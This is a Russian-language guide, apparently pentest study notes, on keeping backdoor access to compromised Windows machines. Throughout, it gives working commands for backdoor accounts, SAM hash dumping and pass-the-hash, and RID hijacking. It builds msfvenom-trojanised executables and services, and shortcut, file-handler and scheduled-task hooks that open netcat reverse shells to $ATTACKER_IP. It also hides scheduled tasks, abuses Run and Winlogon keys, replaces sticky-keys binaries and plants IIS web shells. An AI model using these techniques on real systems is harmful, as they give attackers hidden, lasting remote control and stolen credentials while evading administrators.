Закрепление в Windows
После получения первоначального доступа к скомпроментированной машине, нужно предусмотреть способы закрепления на ней - оставить бэкдор, для того, чтобы была возможность подключится к машине минуя, в терминах Cyber Kill Chain, Exploitation фазу
Ниже перечисленны различные способы закрепления.
Имей в виду
Все нижеперечисленные методы довольно просто реализовать только на тех системах, которые не имеют нормальной защиты. Под нормальной подразумевается хотя бы наличие EDR и маломальского мониторинга событий безопасности: работа с локальными группами/учётками, доступ к реестру и т.д.
Кроме того, следует иметь в виду, что все действия выполняются от Административной учётки, так как подразумевается, что такой доступ к системе уже имеется, задача состоит в закреплении.
Модификация неадминистративных аккаунтов
Модификация простых учётных записей позволит наделить их административными привилегиями не привлекая к себе дополнительного внимания. Далее различные способы осуществления вышесказанного.
Добавление в локальные группы
Наиболее очевидный и самый топорный способ добавить в группу локальных администраторов, который позволит подключаться по RDP и использовать WMI:
Добавление в группу Backup Operators
не позволит подключаться по RDP и WMI, однако даст возможность получить доступ к любому файлу или ветке реестра в системе минуя DACL
Backup Operators
отключена. Для её включения нужно изменить следующий ключ в реестре:
C:\> reg add HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System /t REG_DWORD /v LocalAccountTokenFilterPolicy /d 1
Для того, чтобы появилась возможность подключаться с такой учёткой по RDP или WMI, нужно добавить её в соответствующую группу:
C:\> net localgroup "Remote Management Users" hacked_user /add
Пример с добавлением в группу Backup Operators
Предположим, что hacked_user
уже добавлен в группы Backup Operators
и Remote Managment Users
и соответствующие ключи реестра установлены в нужные значения.
# Подключаемся через evil-winrm к целевой машине
evil-winrm -i 10.10.10.10 -u hacked_user -p Pas5w0rd
# Получаем и скачиваем ключи реестра с хэшами паролей
C:\> reg save hklm\system system.bak
C:\> reg save hklm\sam sam.bak
C:\> download system.bak
C:\> download sam.bak
# Запускаем secretdump.py из impacket для дампа хэшей
python3.9 /opt/impacket/examples/secretsdump.py -sam sam.bak -system system.bak LOCAL
# Подключаемся к целевой машине через атаку Path-The-Hash
evil-winrm -i 10.10.10.10 -u Administrator -H 1cra18he6653f69e97034a4cb4ddbcc6
Специальные привилегии и дескрипторы безопасности
Результат похожий на добавление учётки в специальную группу можно достичь и другим путём - назначением учётке специальных привилегий
Интересовать нас будут: SeBackupPrivilege
и SeRestorePrivilege
Для назначения особых привилегий пользователю можно воспользоваться командой secedit
. С её помощью можно выгрузить конфигурационный файл в котором назначаются привилегии:
Далее, нужно вернуть импортировать новый конфиг и залить его в систему:
После вышеописанных манипуляция, пользователь будет обладать привелегиямиSeBackupPrivilege
и SeRestorePrivilege
, что эквивалентно его нахождению в группе Backup Operators
, однако пользователь всё же не сможет работать через WMI. Конечно, пользователя можно было бы добавить в группу Remote Management Users
, однако есть более изящный пример, заключающийся в изменении параметров дескрипторов безопасности Powershell
:
Set-PSSessionConfiguration -Name Microsoft.PowerShell -showSecurityDescriptorUI
Full Control
пользователь получит возможность подключатся через WMI.
Помни!
Нужно не забывать, что для того, чтобы специальные привилегии работали должным образом нужно изменить параметр реестра LocalAccountTokenFilterPolicy
В итоге, если проверить изменённого таким образом пользователя без пристрастия - получим рядовую учётку не состоящую ни в каких подозрительных группах.
Подмена RID
Способ заключается в подмене некоторых ключей реестра таким образом, что Windows будет считать простого пользователя администратором.
Как известно, локальный администратор имеет RID=500, простые пользователи имеют RID >= 1000. Для просмотра значений RID можно воспользоваться следующей командой wmic:
wmic useraccount get name,sid
Name SID
Administrator S-1-5-21-1966530601-3185510712-10604624-500
DefaultAccount S-1-5-21-1966530601-3185510712-10604624-503
Guest S-1-5-21-1966530601-3185510712-10604624-501
ordinary_user1 S-1-5-21-1966530601-3185510712-10604624-1008
ordinary_user2 S-1-5-21-1966530601-3185510712-10604624-1009
hacked_user S-1-5-21-1966530601-3185510712-10604624-1010
К сведению
RID - последние 4 бита SID
Для подмены нужно получить доступ к SAM кусту. Сделать это можно запустив regedit
через psexec
:
Переходим в HKLM\SAM\SAM\Domains\Account\Users\
и находим ключ значение которого соответствует hacked_user RID в шестнадцатиричной системе счисления:
3f2
находим значение F
которое на 30 позиции содержит в себе RID записанный в обратном порядке и заменяем его на RID Администратора: RID 500 = 0x0104 -> f401
В итоге, после следующего входа пользователя hacked_user
ОС определит его как локального Администратора.
Бэкдоры из приложений
Еще одним способом закрепления является подмена исполяемых файлов с которыми пользователи регулярно взаимодействуют. Существует множество различных способов создания и размещения таких файлов, тут будут описаны лишь некоторые.
Исполняемые файлы
Используя msfvenom
можно внедрить payload прямиком в экзешник. В таком случае, внедренный код, например reverse shell, будет выполнятся всякий раз когда будет стартовать заражённый исполняемый файл.
msfvenom -a x64 --platform windows -x putty.exe -k -p windows/x64/shell_reverse_tcp lhost=$ATTACKER_IP lport=4444 -b "\x00" -f exe -o puttyX.exe
Ярлыки
Другой метод заключается в подмене ярлыка используемого для запуска какого-нибудь исполняемого файла. В поле target
(объект
) ярлыка можно добавить специальные параметры которые приведут к запуску как исполняемого файла так и бэкдора.
В качестве примера подменим ярлык запуска Калькулятора, заставив его вызывать powershell скрипт который сначала создаст reverse shell, а затем запустит C:\Windows\System32\calc.exe
. Предположим, что в директории C:\tools\
у нас уже есть netcat
:
# Сначала shell, потом calc
Start-Process -NoNewWindow "c:\tools\nc64.exe" "-e cmd.exe $ATTACKER_IP 4445"
C:\Windows\System32\calc.exe
Осталось только внести изменения в поле target
(объект
). Добавляем туда следующую строку:
Подмена обработчика расширений файлов
Информация о расширении файлов хранится в ветке реестра HKLM\SOFTWARE\Classes
. Каждое расширение содержит информацию о progID
(значение Default
) - приложение которое открывает это расширение. В этой же ветке содержатся ключи для каждого progID
.
В контексте создания бэкдора будет использоваться следующий подключ progID
: HKLM\SOFTWARE\Classes\progID\shell\open\command
- в нём (в значении Default
) хранится команда для вызова соответствующего приложения с необходимыми параметрами.
Например:
Расширение .docx
имеет progID
= HKLM\SOFTWARE\Classes.docx(Default) = Word.Document.12
Следовательно приложение которое открывает .docx
файлы и параметры запуска такого приложения определены в ```
HKEY_LOCAL_MACHINE\SOFTWARE\Classes\Word.Document.12\shell\Open\command(Default) =
"C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE" /n "%1" /o "%u"
Зная об этом, можно поступить по аналогии с ярлыком: написать скрипт который создает reverse shell и только потом открывает приложение - обработчик расширения:
```cmd title="Подмена обработчика расширения"
Start-Process -NoNewWindow "c:\tools\nc64.exe" "-e cmd.exe $ATTACKER_IP 4448"
C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE" /n $args[0]
# а потом подменить запись в реестре
HKEY_LOCAL_MACHINE\SOFTWARE\Classes\Word.Document.12\shell\Open\command\(Default) = powershell.exe -WindowStyle hidden C:\Windows\System32\backdoor.ps1
Бэкдоры из сервисов
Сервисы (или в рускоязычной терминологии Windows - Службы) отличный инструмент для закрепления в системе. Выполняются они в фоне, не мельтешат окошками, запускаются автоматически - красота!
Банальный пример:
```cmd title= "Админ - Смени пароль" sc.exe create EvilService binPath= "net user Administrator Passwd123" start= auto sc.exe start EvilService
такой сервис будет устанавливать пароль Administrator в Passwd123 при каждой загрузке ОС.
#### Создание нового сервиса - бэкдора
Можно и нужно идти дальше. `msfvenom` предлагает возможность создания исполняемых файлов которые будут работать в качестве сервиса:
```bash title="Создание сервиса"
msfvenom -p windows/x64/shell_reverse_tcp LHOST=$ATTACKER_IP LPORT=4448 -f exe-service -o backdoor.exe
# Осталось отправить файл на машину и положить его куда-нибудь поглубже
sc.exe create EvilService binPath= "C:\windows\backdoor.exe" start= auto
sc.exe start EvilService
Подмена существующего сервиса
Как правило, модификация существуюшего сервиса, может быть замечена много позже создания нового. Хорошими кандидатами являются отключенные сервисы - они могут быть изменены без лишних уведомлений.
Поищем такие сервисы:
C:\> sc.exe query state=all
...
ommited
...
# Как правило, отключенный сервис выглядит следующим образом:
SERVICE_NAME: HerbivoreService
DISPLAY_NAME: HerbivoreService
TYPE : 10 WIN32_OWN_PROCESS
STATE : 1 STOPPED
WIN32_EXIT_CODE : 1077 (0x435)
SERVICE_EXIT_CODE : 0 (0x0)
CHECKPOINT : 0x0
WAIT_HINT : 0x0
# Расмотрим его подробнее:
C:\> sc.exe qc HerbivoreService
[SC] QueryServiceConfig SUCCESS
SERVICE_NAME: HerbivoreService
TYPE : 10 WIN32_OWN_PROCESS
START_TYPE : 2 AUTO_START
ERROR_CONTROL : 1 NORMAL
BINARY_PATH_NAME : C:\MyService\HerbivoreService.exe
LOAD_ORDER_GROUP :
TAG : 0
DISPLAY_NAME : HerbivoreService
DEPENDENCIES :
SERVICE_START_NAME : NT AUTHORITY\Local Service
Из описания сервиса видно, что запускается он автоматически, запускается от имени пользователя NT AUTHORITY\Local Service. То есть является именно таким сервисом какой нам и нужен. Осталось только подменить бинарник этого сервиса. Для этого создаём бинарник (ранее на этой же странице) и изменяем конфигурацию сервиса:
C:\> sc.exe config HerbivoreService binPath= "C:\Windows\backdoor.exe" start= auto obj= "LocalSystem"
# Получим подтверждение о том, что всё прошло успешно:
C:\> sc.exe qc HerbivoreService
[SC] QueryServiceConfig SUCCESS
SERVICE_NAME: HerbivoreService
TYPE : 10 WIN32_OWN_PROCESS
START_TYPE : 2 AUTO_START
ERROR_CONTROL : 1 NORMAL
BINARY_PATH_NAME : C:\Windows\backdoor.exe
LOAD_ORDER_GROUP :
TAG : 0
DISPLAY_NAME : HerbivoreService
DEPENDENCIES :
SERVICE_START_NAME : LocalSystem
Готово! Осталось дождаться только запуска сервиса.
Использование Планировщика задач
Планировщик задач - ещё один инструмент который может быть использован в качестве запуска бэкдоров.
Простой пример:
# Создание задачи которая выполняется каждый час и запускает nc64.exe с нужными параметрами
C:\> schtasks /create /sc hour /mo 1 /tn PeriodicBackdoor /tr "c:\tools\nc64 -e cmd.exe ATTACKER_IP 4449" /ru SYSTEM
SUCCESS: The scheduled task "PeriodicBackdoor" has successfully been created.
В Windows имеется возможность сделать задачу планировщика скрытой. Тогда зайдя в taskschd.msc
такую задачу увидеть не получится. Осуществить такое возможно удалив Security Descriptor (SD) конкретной задачи. SD предстваляет из себя ACL который содержит сведения о правах пользователей на задачу. Следовательно, если пользователю не назначены права на чтение задачи, он её не увидит. Удаление SD задачи скроет её от всех пользователей влючая Администраторов.
Дескрипторы безопасности задач хранятся в HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Schedule\TaskCache\Tree\
в этой ветке хранятся все имеющиеся задачи. Для удаления значения SD потребуются права уровня SYSTEM, поэтому regedit
нужно будет запускать через psexec
:
В качестве проверки:
Вход в систему
Автозагрузка через директорию
Всем известно, что у каждого пользователя имеется директория для запуска приложений по умолчанию - C:\Users\<your_username>\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup
или shell:startup
достаточно поместить payload в эту директорию и он будет выполнятся при каждом входу в систему. Кроме того, имеется директория файлы из которой будут запускаться при входе любого пользователя: C:\ProgramData\Microsoft\Windows\Start Menu\Programs\StartUp
Автозагрузка через реестр
Также, автоматически запускаемые после входа в систему приложения можно определить в реестре.
Для отдельного пользователя:
HKCU\Software\Microsoft\Windows\CurrentVersion\Run
HKCU\Software\Microsoft\Windows\CurrentVersion\RunOnce
Для всех пользователей:
HKLM\Software\Microsoft\Windows\CurrentVersion\Run
HKLM\Software\Microsoft\Windows\CurrentVersion\RunOnce
В этих ветках нужно определить ключ типа REG_EXPAND_SZ (Расширяемый строковый параметр)
, обозвать его как нибудь, а в значении указать абсолютный путь до исполняемого файла
Подмена WinLogon
Еще одним путём определения приложений запускаемых при старте является внесение изменений в ветку реестра Winlogon в которой, кроме прочего, определяется окружение рабочего стола при входе в систему (по умолчанию explorer.exe
) и приложение ответственное за восстановление настроек профиля пользователя (по умолчанию userinit.exe
)
Если просто заменить эти бинарники - сломается корректный процесс входа. Однако, в ключ Userinit` можно добавлять значения через запятую (с пробелом) и они будут корректно обрабатываться! Если поместить туда путь до бинарника с reverse shell, то связь с C2 появится ~ через 10 секунд после входа в систему.
Подмена скриптов WinLogon
В область задач выполняемых userinit.exe
входит проверка наличия ключа UserInitMprLogonScript
и выполнение скриптов которые заданы в качестве его значения. Этот ключ не задан по умолчанию, поэтому его нужно создать:
Бэкдор в окне входа
В случае если имеется физический доступ к машине (ну или RDP) можно поместить бэкдор в приложения которые вызываются прямо с экрана входа в систему.
Залипание клавиш
За залипание клавиш отвечает C:\Windows\System32\sethc.exe
для его подмены нужно стать его владельцем:
C:\> takeown /f c:\Windows\System32\sethc.exe
SUCCESS: The file (or folder): "c:\Windows\System32\sethc.exe" now owned by user "TESLAB\Administrator".
C:\> icacls C:\Windows\System32\sethc.exe /grant Administrator:F
processed file: C:\Windows\System32\sethc.exe
Successfully processed 1 files; Failed processing 0 files
C:\> copy c:\Windows\System32\cmd.exe C:\Windows\System32\sethc.exe
Overwrite C:\Windows\System32\sethc.exe? (Yes/No/All): yes
1 file(s) copied.
Специальные возможности
Аналогично можно поступить со "Специальными возможностями", их бинарник расположен в C:\Windows\System32\Utilman.exe
Web Shell для IIS
В случае если на машине запущен IIS сервер, можно просто загрузить туда web shell.
Загрузить web shell всё равно, что оставить бэкдор. Такой бэкдор будет выполнятся от имени IIS который хоть и не наделён Административными правами, но их легко можно получить, так как его учётка обладает привилегией SeImpersonatePrivilege
. О том, как эскалировать привилегии можно почитать тут.